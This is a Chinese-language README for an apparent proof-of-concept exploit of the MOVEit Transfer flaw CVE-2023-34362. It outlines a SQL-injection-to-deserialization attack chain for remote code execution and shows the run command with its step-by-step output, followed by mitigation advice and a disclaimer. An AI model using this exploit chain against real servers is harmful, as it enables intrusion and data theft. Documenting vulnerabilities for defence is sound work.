影响 MOVEit Transfer 的 CVE-2023-34362 POC
该漏洞的技术根因分析可在以下博客中找到:
此 POC 利用 SQL 注入获取 sysadmin API 访问令牌,然后利用该访问权限滥用反序列化调用来实现远程代码执行。
此 POC 需要连接到一个托管了正确 RS256 证书的 Identity Provider 端点,这些证书用于伪造任意用户令牌——默认情况下,此 POC 使用我们在 AWS 上托管的 IDP 端点。
该漏洞利用程序默认会在 C:\Windows\Temp\message.txt 写入一个文件。可以使用 ysoserial.net 项目生成其他替代载荷。
python CVE-2023-34362.py https://127.0.0.1
[*] Getting sysadmin access token
[*] Got access token
[*] Getting FolderID
[*] Got FolderID: 963611079
[*] Starting file upload
[*] Got FileID: 965943963
[*] Injecting the payload
[*] Payload injected
[*] Triggering payload via resume call
[+] Triggered the payload!
[*] Deleting uploaded file
升级到最新版本,或按照 Progress Advisory 中的说明进行缓解
本软件纯粹出于学术研究和开发有效防御技术的目的而创建,除非明确授权,否则不应用于攻击系统。项目维护者不对软件的滥用负责或承担任何责任。请合理使用。